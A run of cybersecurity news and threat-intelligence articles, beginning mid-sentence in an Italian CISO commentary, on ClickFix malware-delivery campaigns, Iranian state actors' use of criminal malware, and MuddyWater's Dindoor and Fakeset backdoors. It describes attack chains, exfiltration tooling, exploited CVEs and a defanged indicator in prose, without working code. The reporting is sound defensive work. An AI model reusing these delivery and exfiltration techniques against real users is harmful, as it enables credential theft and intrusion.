eludere le firme dei tradizionali sistemi di rilevamento. Usano Rclone per l’esfiltrazione e certificati rubati per firmare il malware: tutto sembra legittimo finché non si scava a fondo. Secondo le analisi di Flashpoint, gruppi come Handala hanno già colpito sistemi di controllo industriale israeliani, mentre la “Cyber Islamic Resistance” sta conducendo attacchi DDoS e wiper contro fornitori logistici. Spesso mi chiedono se queste attività possano estendersi all’Europa. La domanda corretta, purtroppo, non è “se”, ma “quando” o da quanto tempo. Uno dei passaggi più inquietanti del briefing CSFI è implicito. Quando leggiamo che alcuni gruppi operano e altri tacciono, stiamo guardando solo ciò che è visibile. Ma l’intelligence funziona anche su ciò che non si vede. La vera minaccia non è sempre quella che fa rumore. APT34 che si acquieta nel momento di massima tensione non è un segnale di inerzia, ma l’indizio di un’operazione in modalità stealth. Questa è una lezione che ogni CISO dovrebbe interiorizzare: la nostra attenzione è attratta dagli allarmi che suonano, ma il lavoro più difficile è cercare le backdoor dormienti e gli accessi legittimi usati in modo improprio. Il briefing menziona esplicitamente il mondo OT (Operational Technology) con una preoccupazione che condivido. CyberAv3ngers ha già dimostrato di saper colpire sistemi di controllo industriale scarsamente protetti, come acquedotti e impianti energetici. La loro strategia è cercare i punti in cui la maturità della sicurezza è più bassa, sapendo che l’impatto potenziale è enorme. Da CISO che ha lavorato in contesti produttivi internazionali, so quanto sia complesso proteggere l’OT. Sono sistemi progettati decenni fa per l’affidabilità, non per la sicurezza, con cicli di vita lunghissimi e patch difficili da applicare. In questi casi, la soluzione è partire dai fondamentali: i SANS ICS 5 Critical Controls restano una guida insostituibile. Visibilità, segmentazione e backup immutabili non sono opzioni, sono necessità di sopravvivenza. Il documento CSFI è chiaro sulle priorità: “MFA resistente al phishing per utenti ad alto rischio”. Spesso mi chiedono perché l’autenticazione multifattore tradizionale non basti più. L’esperienza di Yale University è emblematica: anche con sistemi push, gli utenti venivano ingannati e approvavano richieste fraudolente. La risposta oggi è adottare FIDO2 e passkey che leghino fisicamente l’autenticazione al dispositivo. Il briefing parla anche di abusi di OAuth e accessi amministrativi sospetti. Le caselle di posta sono il tesoro di un’organizzazione: contengono segreti, allegati e credenziali. Una volta compromesse, diventano la piattaforma perfetta per la fase successiva dell’attacco. Il tempo di “breakout” medio di un attaccante è oggi stimato in soli 51 secondi. In meno di un minuto, un adversary può passare dal primo accesso allo spostamento laterale. Contro questi ritmi, il patching mensile è semplicemente inadeguato. Se una vulnerabilità è nota e sfruttata (KEV), l’obiettivo deve essere chiuderla in ore. Allo stesso tempo, non possiamo più aspettare che un antivirus rilevi un malware noto. Dobbiamo cercare attivamente i comportamenti: script PowerShell codificati, task schedulati anomali o l’uso improprio di WMI. Questo richiede una scelta strategica: investire nella threat hunting come disciplina attiva, non solo nella detection passiva. In questi giorni di tensione, è utile ricordare che la cybersecurity non riguarda la perfezione, ma la resilienza. Non possiamo impedire ogni singolo attacco, ma possiamo costruire organizzazioni in grado di assorbire il colpo e continuare a funzionare. Possiamo rendere l’ambiente così ostile da spingere gli attaccanti verso bersagli più facili. La resilienza si costruisce sui fondamentali: privilegi minimi, autenticazione forte e piani di risposta provati sul campo. Non ci sono scorciatoie. Leggendo il briefing, tornano in mente le parole di Dawn Cappelli, che nel non lontano 2020 affrontò un’escalation simile. La sua reazione fu non dare nulla per scontato, verificando ogni singola protezione. Per chi ha la responsabilità di proteggere un’azienda, l’arroganza è il peggior nemico. Pensare di essere pronti solo perché “finora non è successo nulla” è esattamente ciò che gli attaccanti sperano. Il documento CSFI ci dice chiaramente che la minaccia ha nomi e cognomi e tattiche ben precise. Ora tocca a noi. Perché, come conclude il briefing, “In questo campo di battaglia, identità e margine sono terreni decisivi”. L’identità è il nuovo perimetro; il margine è quel piccolo vantaggio che costruiamo ogni giorno per restare un passo avanti. Non abbiamo scelto noi questa guerra, ma possiamo scegliere come combatterla.

Three different ClickFix campaigns have been found to act as a delivery vector for the deployment of a macOS information stealer called MacSync. "Unlike traditional exploit-based attacks, this method relies entirely on user interaction – usually in the form of copying and executing commands – making it particularly effective against users who may not appreciate the implications of running unknown and obfuscated terminal commands," Sophos researchers Jagadeesh Chandraiah, Tonmoy Jitu, Dmitry Samosseiko, and Matt Wixey said. It's currently not known if the campaigns are the work of the same threat actor. The use of ClickFix lures to distribute the malware was also flagged by Jamf Threat Labs in December 2025. The details of the three campaigns are as follows - November 2025: A campaign that used OpenAI's ChatGPT Atlas web browser as bait, delivered via sponsored search results on Google, to direct users to a fake Google Sites URL with a download button that, when clicked, displayed instructions to open the Terminal app and paste a command to it. This action downloaded a shell script, which prompts the user to enter the system password and runs MacSync with user-level permissions. December 2025: A malvertising campaign that leveraged sponsored links tied to searches for queries like "how to clean up your Mac" on Google to lead users to shared conversations on the legitimate OpenAI ChatGPT site to give the impression that the links were safe. The ChatGPT conversations redirected victims to malicious GitHub-themed landing pages that tricked users into running malicious commands on the Terminal app. February 2026: A campaign targeting Belgium, India, and parts of North and South America that distributed a new variant of MacSync delivered through ClickFix lures. The latest iteration supports dynamic AppleScript payloads and in-memory execution to evade static analysis, bypass behavioral detections, and complicate incident response. The shell script launched after running the Terminal command is designed to contact a hard-coded server and retrieve the AppleScript infostealer payload, while simultaneously taking steps to remove evidence of data theft. The stealer is equipped to harvest a wide range of data from compromised hosts, including exfiltrating credentials, files, keychain databases, and seed phrases from cryptocurrency wallets. The latest findings suggest the threat actors are adapting the formula to stay one step ahead of security tools, while weaponizing the trust associated with ChatGPT conversations to convince users to run malicious commands. The new variant observed in the most recent campaign "likely represents the malware developer adjusting to OS and software security measures to maintain effectiveness," Sophos said. "Refinements to the typical ClickFix social engineering tactics are therefore one way in which such campaigns may continue to evolve in the future." In recent months, ClickFix campaigns have used legitimate platforms like Cloudflare Pages (pages.dev), Squarespace, and Tencent EdgeOne to host bogus instructions for installing developer tools like Anthropic's Claude Code. The URLs are distributed via malicious search engine ads. The instructions, as before, deceive victims into installing infostealer malware like Amatera Stealer instead. The social engineering attack has been codenamed InstallFix or GoogleFix. According to Nati Tal, head of Guardio Labs, similar infection chains lead to the deployment of Alien infostealer on Windows and Atomic Stealer on macOS. The PowerShell command executed after pasting and running the supposed installation command for Claude Code fetches a legitimate Chrome extension package within a malicious HTML Application (HTA) file, which then launches an obfuscated .NET loader for Alien in memory, per Tal. Guardio has described GoogleFix as a malvertising campaign that takes advantage of sponsored Google search results to redirect users looking for solutions to common macOS problems to malicious pages hosted on various platforms like Grammarly, Coda, Kimi, Medium, Squarespace, and Writesonic. The result is a "turnkey, industrialized pipeline" for malware delivery, it added. "While traditional ClickFix attacks need to manufacture a reason for the user to run a command: a fake CAPTCHA, a fabricated error message, a bogus system prompt — InstallFix doesn't need any of that," Push Security said. "The pretext is simply the user wanting to install legit software." According to Pillar Security, there have been at least 20 distinct malware campaigns that have targeted artificial intelligence (AI) and vibe coding tools between February and March 2026. These include code editors, AI agents, large language models (LLM) platforms, AI-powered browser extensions, AI video generators, and AI business tools. Of these, nine have been found to target both Windows and macOS, with another seven exclusively affecting macOS users. "The reason is clear: AI/vibe coding tool users skew heavily toward macOS, and macOS users tend to have higher-value credentials (SSH keys, cloud tokens, cryptocurrency wallets)," Pillar Security researcher Eilon Cohen said. "The ClickFix/InstallFix technique (tricking users into pasting commands into Terminal) is uniquely effective against developers because curl | sh is a legitimate installation pattern. Homebrew, Rust, nvm, and many other developer tools use this exact pattern. The malicious commands hide in plain sight." Needless to say, the advantage posed by ClickFix (and its variants) has led to the tactic being adopted by multiple threat actors and groups. This includes a malicious traffic distribution system (TDS) named KongTuke (aka 404 TDS, Chaya_002, LandUpdate808, and TAG-124), which uses compromised WordPress websites and fake CAPTCHA lures to deliver a Python-based trojan called ModeloRAT. The attackers inject malicious JavaScript into legitimate WordPress websites that prompt users to run a PowerShell command responsible for initiating a multi-stage infection process to deploy the trojan. "The group continues to use this method alongside the newer CrashFix technique, which tricks users into installing a malicious browser extension to initiate infection," Trend Micro said. "The malware specifically checks whether a system is part of a corporate domain and identifies installed security tools before continuing, suggesting a focus on enterprise environments rather than opportunistic infections." That's not all. KongTuke campaigns have also been spotted using DNS TXT records in their ClickFix script. These DNS TXT records stage a command to retrieve and run a PowerShell script. Other ClickFix-style pastejacking attacks that have been detected in the wild are listed below - Using compromised websites to display lures for ClickFix pages that mimic Google's "Aw Snap!" error or browser updates to distribute droppers, downloaders, and malicious browser extensions. Using ClickFix decoys served via malvertising/phishing links to direct users to malicious pages that lead to the deployment of Remcos RAT. Using a fake CAPTCHA verification lure on a phony website promoting a $TEMU airdrop scam to trigger the execution of a PowerShell command that runs arbitrary Python code retrieved from a server. Using a bogus website advertising CleanMyMac to trick users into running a malicious Terminal command to deploy a macOS stealer named SHub Stealer and backdoor cryptocurrency wallets such as Exodus, Atomic Wallet, Ledger Wallet, and Ledger Live to steal the seed phrases. Using a fake CAPTCHA verification lure on compromised websites to run a PowerShell script that delivers an MSI dropper, which then installs the Deno JavaScript runtime to execute obfuscated code that ultimately installs CastleRAT in memory by means of a Python loader named CastleLoader. In a report published last week, Rapid7 revealed that highly trusted WordPress websites are being compromised as part of an ongoing, widespread campaign designed to inject a ClickFix implant impersonating a Cloudflare human verification challenge. The activity has been active since December 2025. More than 250 infected websites have been identified in at least 12 countries, including Australia, Brazil, Canada, Czechia, Germany, India, Israel, Singapore, Slovakia, Switzerland, the U.K., and the U.S. The websites have been identified as regional news outlets and local businesses. The end goal of these lures is to compromise the Windows systems with different stealer malware families: StealC Stealer, an improved version of Vidar Stealer, a .NET stealer dubbed Impure Stealer, and a C++ stealer referred to as VodkaStealer. The stolen data can then act as a launchpad for financial theft or follow-on attacks. The exact method by which the WordPress sites are hacked is presently not known. However, it's suspected to involve the exploitation of recently disclosed security flaws in WordPress plugins and themes, previously stolen admin credentials, or publicly accessible wp-admin interfaces. To counter the threat, site administrators are advised to keep their sites up-to-date, use strong passwords for administrative access, set up two-factor authentication (2FA), and scan for suspicious administrator accounts. "The best defense for individuals browsing the web is to stay cautious, maintain a zero-trust mindset, use reputable security software, and keep themselves up to date with the latest phishing and ClickFix tactics used by malicious actors," Rapid7 said. "An important takeaway from this report should be that even trusted websites can be compromised and weaponized against unsuspecting visitors."

Iran-linked actors are increasingly engaging with the cyber crime ecosystem. Their activity suggests a growing reliance on criminal tools, services, and operational models in support of state objectives. Iranian actors have long used cyber crime and hacktivism as cover for destructive activity, but the trend now suggests direct engagement with the criminal ecosystem. This dynamic appears most prominently among Ministry of Intelligence and Security (MOIS)-linked actors, particularly Void Manticore (a.k.a “Handala Hack”) and MuddyWater, where repeated overlaps with criminal tools, services, or clusters have been observed. Such engagement offers a dual advantage: it enhances operational capabilities through access to mature criminal tooling and resilient infrastructure, while complicating attribution and contributing to recurring confusion around Iranian threat activity. Introduction For years, Iranian intelligence services have operated through deniable criminal intermediaries in the physical world. A similar pattern is now becoming visible in cyber space, where state objectives are increasingly pursued through criminal tools, services, and operational models. Notably, this dynamic appears with growing frequency in activity associated with actors linked to the Ministry of Intelligence and Security (MOIS). For a long time, Iranian actors sought to mask state activity behind the appearance of ordinary cyber crime, most often by posing as ransomware operators. The trend we are seeing now goes beyond imitation. Rather than simply adopting criminal and hacktivist personas to complicate attribution, some Iranian actors appear to be associating with the cyber criminal ecosystem itself, leveraging its malware, infrastructure, and affiliate-style mechanisms. This shift matters because it does more than improve deniability; it can also expand operational reach and enhance technical capability. In this blog, we examine several cases that reflect this evolution, including Iranian-linked use of ransomware branding, commercial infostealers, and overlaps with criminal malware clusters. Taken together, these examples suggest that for some MOIS-associated actors, cyber crime is no longer just a cover story, but an operational resource. Background – MOIS and Criminal Activity Long before concern shifted to the digital arena, some of the clearest signs of cooperation between Iran’s intelligence services and criminal actors appeared in plots involving surveillance, kidnappings, shootings, and assassination attempts. In those cases, the value of criminal networks was straightforward: they gave Tehran reach, deniability, and access to people willing to carry out violence at arm’s length. According to the U.S. Treasury, one of the clearest examples involved the network led by narcotics trafficker Naji Ibrahim Sharifi-Zindashti, which Treasury said operated at the behest of MOIS and targeted dissidents and opposition activists. The FBI has similarly said that an MOIS directorate operated the Zindashti criminal network and its associates against Iranian dissidents in the United States. Sweden has described a similar pattern. According to Sweden’s Security Service, the Iranian regime has used criminal networks in Sweden to carry out violent acts against states, groups, and individuals it sees as threats; Swedish officials later linked that concern to attacks aimed at Israeli and Jewish targets, including incidents near Israel’s embassy in Stockholm. Recent activity we have analyzed and associate with MOIS-affiliated cyber actors suggests that the same logic is now being applied in the cyber domain. The emphasis is not only on imitating cyber criminal behavior, but on associating with the cyber criminal ecosystem itself: drawing on its infrastructure, access brokers, marketplaces, and affiliate-style relationships. Void Manticore (Handala) and Rhadamanthys Void Manticore, an Iranian threat actor linked to several hack-and-leak personas, is one of the most active groups pursuing strategic objectives through cyber operations. It has leveraged “hacktivistic” personas such as Homeland Justice in attacks against Albania and Handala in operations targeting Israel. While the group is most commonly associated with “hack and leak” operations and disruptive attacks, particularly wiper operations, the emergence of its Handala persona also revealed the use of a commercial infostealer sold on darknet forums: Rhadamanthys. Rhadamanthys is a widely used infostealer employed by a range of threat actors, including both financially motivated groups and state-sponsored operators. It has built a strong reputation due to its complex architecture, active development, and frequent updates. Handala used Rhadamanthys on several occasions, pairing it with one of its custom wipers in phishing lures aimed at Israeli targets, most dominantly impersonating F5 updates. MuddyWater – Tsundere Botnet and the Castle Loader Connection MuddyWater, a threat actor that U.S. authorities have linked to Iran’s MOIS, has conducted cyber espionage and other malicious operations focused on the Middle East for years. According to CISA, MuddyWater is a subordinate element within MOIS and has carried out broad campaigns in support of Iranian intelligence objectives, targeting government and private-sector organizations across sectors including telecommunications, defense, and energy. Recent reports detailing the activity of MuddyWater link its operations to several cyber crime clusters of activity. This appears to work in the actors’ favor: the use of such tools has created significant confusion, leading to misattribution and flawed pivoting, and clustering together activities that are not necessarily related. This demonstrates that the use of criminal software can be effective for obfuscation, and highlights the need for extreme caution when analyzing overlapping clusters. To address this, we attempted to bring structure to the available evidence, to the best of our ability, and identify which activity is truly associated with MuddyWater. Tsundere Botnet (a.k.a DinDoor) The Tsundere Botnet was first uncovered in late 2025 and was later linked to MuddyWater. Large parts of its activity rely on Node.js and JavaScript scripts to execute code on compromised machines. In several instances observed in the wild, when the Node.js engine is detected, the botnet shifts to an alternative execution method using Deno, a runtime for JavaScript and TypeScript. Since Deno-based execution had not previously been associated with Tsundere, researchers linking this activity to MuddyWater designated this variant as DinDoor. Given that two separate sources linked Tsundere to MuddyWater, one via a VPS and the other through vendor telemetry, it is likely that MuddyWater uses the botnet as part of its operations. Another overlap between DinDoor-related activity and known MuddyWater tradecraft is the use of rclone to access a Wasabi server, which traces back to an IP address previously associated with MuddyWater (18.223.24[.]218, linked to eb5e96e05129e5691f9677be4e396c88). Castle Loader Connection (a.k.a FakeSet) Another malware family recently linked to MuddyWater is FakeSet, which, according to our analysis, is a downloader used in recent infection chains delivering CastleLoader. CastleLoader operates as a Malware-as-a-Service offering used by multiple affiliates. Based on our understanding, the reported link between CastleLoader and MuddyWater stems from the use of a set of code-signing certificates, specifically under the Common Names “Amy Cherne” and “Donald Gay”. Certificates with these common names were also used to sign MuddyWater malware (“StageComp”), Tsundere Deno malware (“DinDoor”), and CastleLoader (“FakeSet”) variants. In our assessment, this does not necessarily indicate that MuddyWater is a CastleLoader affiliate; rather, it suggests that both may have obtained certificates from the same source. Iranian Qilin Affiliates In October 2025, Israeli Shamir Medical Center was hit by a major cyber attack that was initially described as a ransomware incident. The attackers claimed to have stolen a large amount of data and demanded a ransom in exchange for not publishing it. Israeli officials said the attack did not affect hospital operations and patient care was not significantly disrupted. Still, some information appears to have been leaked, including limited email correspondence and certain medical data. At first, the attack was presented as a ransomware incident linked to the Qilin group, but later Israeli assessments pointed much more directly to Iranian actors as the real force behind it. Qilin is known as a ransomware-as-a-service (RaaS) operation, meaning it provides ransomware infrastructure and tooling to outside partners or “affiliates” who actually carry out intrusions. In this case, the emerging picture was that the attackers were likely Iranian-affiliated operators working through the cyber criminal ecosystem, using a criminal ransomware brand and methods associated with the broader extortion market, while serving a strategic Iranian objective. This attack did not occur in isolation. It appears to be part of a broader, sustained campaign by MOIS and Hezbollah to target Israeli hospitals, a pattern that has been evident since late 2023. The use of Qilin, and participation in its affiliate program, likely serves not only as a layer of cover and plausible deniability, but also as a meaningful operational enabler, especially as earlier attacks appear to have heightened security measures and monitoring by Israeli authorities. Conclusion The cases examined in this blog show that, for some Iranian actors, cyber crime is no longer just a cover for state-directed activity. Across these examples, the pattern is not limited to the appearance of criminal behavior, but includes the use of criminal malware, ransomware branding, and affiliate-style ecosystems in support of strategic objectives. This reflects a clear shift from simply imitating cyber criminals to actively leveraging the cyber crime ecosystem. This shift matters because it delivers clear operational benefits. For MOIS-linked actors in particular, engagement with criminal tools and services enhances capabilities while complicating attribution and fueling confusion around Iranian activity. Taken together, the cases discussed here show that cyber crime has become not just camouflage, but a practical operational resource. “The Turkish Rat” Evolved Adwind in a Massive Ongoing Phishing Campaign Check Point Research Publications August 11, 2017 “The Next WannaCry” Vulnerability is Here Check Point Research Publications March 12, 2026 “Handala Hack” – Unveiling Group’s Modus Operandi SUBSCRIBE TO CYBER INTELLIGENCE REPORTS We value your privacy! BFSI uses cookies on this site. We use cookies to enable faster and easier experience for you. By continuing to visit this website you agree to our use of cookies.

Several US companies have been targeted by Iranian hacking group MuddyWater in a new campaign that started in early February and has continued after the US and Israeli military strikes on Iran. The campaign was detected by the Threat Hunter Team at Broadcom’s Symantec and Carbon Black. The potential victims include a US bank, a US airport, non-governmental organizations in both the US and Canada and the Israeli operation of a US software company that supplies the defense and aerospace sectors. Each of these organizations has experienced suspicious activity on their networks in recent days and weeks, said the Threat Hunter Team in a March 5 report. The campaign involves a previously unknown backdoor, dubbed ‘Dindoor’ by the cyber threat researchers. Reused Certificates Tie New Backdoors to Iran-Linked MuddyWater The Dindoor backdoor was found by the threat researchers on the networks of the Israeli outpost of the software company, the US bank and the Canadian non-profit organization. Signed with a certificate issued to “Amy Cherne,” this backdoor leverages Deno, the secure runtime for JavaScript and TypeScript, to execute. The researchers also observed an attempt to exfiltrate data from the software company using Rclone, a command-line program to manage files on cloud storage, to a Wasabi cloud storage bucket. It is not clear if this attempt was successful. A different, Python backdoor called Fakeset was found on the networks of the US airport. It was signed by certificates issued to “Amy Cherne” and “Donald Gay”. The Donald Gay certificate has been used previously to sign malware linked to MuddyWater, a hacking group active since 2017 and associated with the Iranian Ministry of Intelligence and Security (MOIS), also known as Seedworm, Temp Zagros and Static Kitten. The backdoor was downloaded from two servers belonging to the Backblaze cloud storage company. The Donald Gay certificate was also used to sign a sample from the malware family the researchers track as ‘Stagecomp,’ which downloads the Darkcomp backdoor. The Stagecomp and the Darkcomp malware have been linked to MuddyWater by security vendors, including Google, Microsoft and Kaspersky. This malware wasn’t seen on the targeted networks, but the use of the same certificates suggests MuddyWater was involved, said the Threat Hunter Team. “While we have disrupted these breaches, other organizations could still be vulnerable to attack,” the researchers added.

Iran-linked APT targets US critical sectors with new backdoors An Iran-linked hacking group has been active inside the networks of several US organizations since early February, raising concerns that the activity could precede broader cyber operations connected to escalating geopolitical tensions in the Middle East. New backdoors used by Seedworm Symantec and Carbon Black researchers have attributed the activity to Seedworm (aka MuddyWater), an Iranian advanced persistent threat (APT) group that has been linked to Iran’s Ministry of Intelligence and Security (MOIS), and is known for espionage campaigns targeting government agencies, telecommunications companies, and critical infrastructure. According to researchers, suspicious activity linked to Seedworm has been identified on the networks of: A US bank A US airport Non-profit organizations, and The Israeli operations of a US software company that supplies the defense and aerospace industries. The activity began in early February 2026 and has continued into recent days, and the group has been spotted leveraging previously unknown malware. The Dindoor backdoor, named thus due to its use of Deno, a runtime environment for JavaScript and TypeScript, for executing commands on infected machines A Python-based backdoor called Fakeset. According to the researchers, Dindoor was digitally signed with a certificate issued to an individual named “Amy Cherne”. Fakeset was also signed, using using certificates attributed to both “Amy Cherne” and “Donald Gay,” the latter of which has previously been associated with the Stagecomp and Darkcomp malware used by the Seedworm APT. The goal seems to be espionage: the attackers have been observed trying to exfiltrate data from the targeted software company to a cloud storage bucket hosted by Wasabi using the open-source tool Rclone. “While it’s not known if the operations of Seedworm are disrupted by the current conflict, already having a presence on US and Israeli networks prior to the current hostilities beginning means the threat group is in a potentially dangerous position to launch attacks,” the researchers noted. It is unknown what tricks or exploits the APT used to gain initial access to these organizations’ networks. Exposed VPS reveals Seedworm tooling In related news, independent threat-intel research collective Ctrl-Alt-Intel recently claimed to have accessed infrastructure used by Seedworm / Muddy Water, which allowed them to harvest “C2 tooling, scripts, logs, victim data, and other operational artefacts from a VPS hosted in the Netherlands.” After analyzing the collected data, they pinpointed other organizations targeted by the group: Israeli organizations (healthcare, hosting, immigration, intelligence), EgyptAir, Jordanian government, various UAE companies, US entities, and Jewish/Israeli-linked nn-governmental organizations.. “The exposed infrastructure (…) provides a broad view into a MuddyWater operation – from initial reconnaissance through to data exfiltration. What stands out is not the sophistication of any single tool or malware, but the breadth of the operation: countless organisations targeted, multiple custom-developed C2 frameworks, exploitation of over a dozen CVEs including novel SQL injection vulnerabilities, password spraying campaigns, Ethereum-based C2 resolution, and multiple exfiltration channels spanning cloud storage & EC2 instances,” the group concluded. “MuddyWater continues to demonstrate a willingness to rapidly adopt public exploit code, modify it for operational use, and deploy it at scale – all while developing custom tooling in parallel.” Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!

New research from Broadcom's Symantec and Carbon Black Threat Hunter Team has discovered evidence of an Iranian hacking group embedding itself in several U.S. companies' networks, including banks, airports, non-profit, and the Israeli arm of a software company. The activity has been attributed to a state-sponsored hacking group called MuddyWater (aka Seedworm). It's affiliated with the Iranian Ministry of Intelligence and Security (MOIS). The campaign is assessed to have begun in early February, with recent activity detected following U.S. and Israeli military strikes on Iran. "The software company is a supplier to the defense and aerospace industries, among others, and has a presence in Israel, with the company's Israel operation seeming to be the target in this activity," the security vendor said in a report shared with The Hacker News. The attacks targeting the software company, as well as a U.S. bank and a Canadian non-profit, have been found to pave the way for a previously unknown backdoor dubbed Dindoor, which leverages the Deno JavaScript runtime for execution. Broadcom said it also identified an attempt to exfiltrate data from the software company using the Rclone utility to a Wasabi cloud storage bucket. However, it's currently not known if the effort paid off. Also found in the networks of a U.S. airport and a non-profit was a separate Python backdoor called Fakeset, which was downloaded from servers belonging to Backblaze, an American cloud storage and data backup company. The digital certificate used to sign Fakeset has also been used to sign Stagecomp and Darkcomp malware, both previously linked to MuddyWater. Brigid O Gorman, senior intelligence analyst, Symantec and Carbon Black Threat Hunter Team, said Microsoft and Kaspersky have detected samples associated with the Stagecomp and the Darkcomp malware with Muddywater-linked signatures – "Trojan:Python/MuddyWater.DB!MTB" for Microsoft and "Backdoor.Python.MuddyWater.a" for Kaspersky. "While this malware wasn't seen on the targeted networks, the use of the same certificates suggests the same actor -- namely Seedworm -- was behind the activity on the networks of the U.S. companies," Symantec and Carbon Black said. "Iranian threat actors have become increasingly proficient in recent years. Not only has their tooling and malware improved, but they've also demonstrated strong social engineering capabilities, including spear-phishing campaigns and 'honeytrap' operations used to build relationships with targets of interest to gain access to accounts or sensitive information." The findings come against the backdrop of an escalating military conflict in Iran, triggering a barrage of cyber attacks in the digital sphere. Recent research from Check Point has uncovered the pro-Palestinian hacktivist group known as Handala Hack (aka Void Manticore) routing its operations through Starlink IP ranges to probe externally facing applications for misconfigurations and weak credentials. In recent months, multiple Iran-nexus adversaries, such as Agrius (aka Agonizing Serpens, Marshtreader, and Pink Sandstorm), have also observed scanning for vulnerable Hikvision cameras and video intercom solutions using known security flaws such as CVE-2017-7921 and CVE-2023-6895. The targeting, per Check Point, has intensified in the wake of the current Middle East conflict. The exploitation attempts against IP cameras have witnessed a surge in Israel and Gulf countries, including the U.A.E., Qatar, Bahrain, and Kuwait, along with Lebanon and Cyprus. The activity has singled out cameras from Dahua and Hikvision, weaponizing the two aforementioned vulnerabilities, as well as CVE-2021-36260, CVE-2025-34067, and CVE-2021-33044. "Taken together, these findings are consistent with the assessment that Iran, as part of its doctrine, leverages camera compromise for operational support and ongoing battle damage assessment (BDA) for missile operations, potentially in some cases prior to missile launches," the company said. "As a result, tracking camera-targeting activity from specific, attributed infrastructures may serve as an early indicator of potential follow-on kinetic activity." The U.S. and Israel's war with Iran has also prompted an advisory from the Canadian Centre for Cyber Security (CCCS), which cautioned that Iran will likely use its cyber apparatus to stage retaliatory attacks against critical infrastructure and information operations to further the regime's interests. Some other key developments that have unfolded in recent days are listed below - Israeli intelligence agencies hacked into Tehran's extensive traffic camera network for years to monitor the movements of bodyguards of Ayatollah Ali Khamenei and other top Iranian officials in the lead up to the assassination of the supreme leader last week, the Financial Times reported. Iran's Islamic Revolutionary Guard Corps (IRGC) targeted Amazon's data center in Bahrain for the company's support of the "enemy's military and intelligence activities," state media Fars News Agency said on Telegram. Active wiper campaigns are said to be underway against Israeli energy, financial, government, and utilities sectors. "Iran's wiper arsenal includes 15+ families (ZeroCleare, Meteor, Dustman, DEADWOOD, Apostle, BFG Agonizer, MultiLayer, PartialWasher, and others)," Anomali said. Iranian state-sponsored APT groups like MuddyWater, Charming Kitten, OilRig, Elfin, and Fox Kitten "demonstrated clear signs of activation and rapid retooling, positioning themselves for retaliatory operations amid the escalating conflict," LevelBlue said, adding "cyber represents one of Iran's most accessible asymmetric tools for retaliation against Gulf states that condemned its attacks and support U.S. operations." According to Flashpoint, a massive #OpIsrael cyber campaign involving pro-Russian and pro-Iranian actors has targeted Israeli industrial control systems (ICS) and government portals across Kuwait, Jordan, and Bahrain. The campaign is driven by NoName057(16), Handala Hack, Fatemiyoun Electronic Team, and Cyber Islamic Resistance (aka 313 Team). Between 28 February 2026 and 2 March 2026, pro-Russia hacktivist group Z-Pentest claimed responsibility for compromising several U.S.-based entities, including ICS and SCADA systems and multiple CCTV networks. "The timing of these unverified claims, coinciding with Operation Epic Fury, suggests Z-Pentest likely began prioritizing U.S. entities as targets," Adam Meyers, head of Counter Adversary Operations at CrowdStrike, told The Hacker News. "Iran's offensive cyber capability has matured into a durable instrument of state power used to support intelligence collection, regional influence, and strategic signaling during periods of geopolitical tension," UltraViolet Cyber said. "A defining feature of Iran's current cyber doctrine is its emphasis on identity and cloud control planes as the primary attack surface." "Rather than prioritizing zero-day exploitation or highly novel malware at scale, Iranian operators tend to focus on repeatable access techniques such as credential theft, password spraying, and social engineering, followed by persistence through widely deployed enterprise services." Organizations are advised to bolster their cybersecurity posture, strengthen monitoring capabilities, limit exposure to the internet, disable remote access to operational technology (OT) systems, enforce phishing-resistant multi-factor authentication (MFA), implement network segmentation, take offline backups, and ensure that all internet-facing applications, VPN gateways, and edge devices are up-to-date "Western organizations should continue to remain on high-alert for potential cyber response as the conflict continues and activity may move beyond hacktivism and into destructive operations," Meyers said.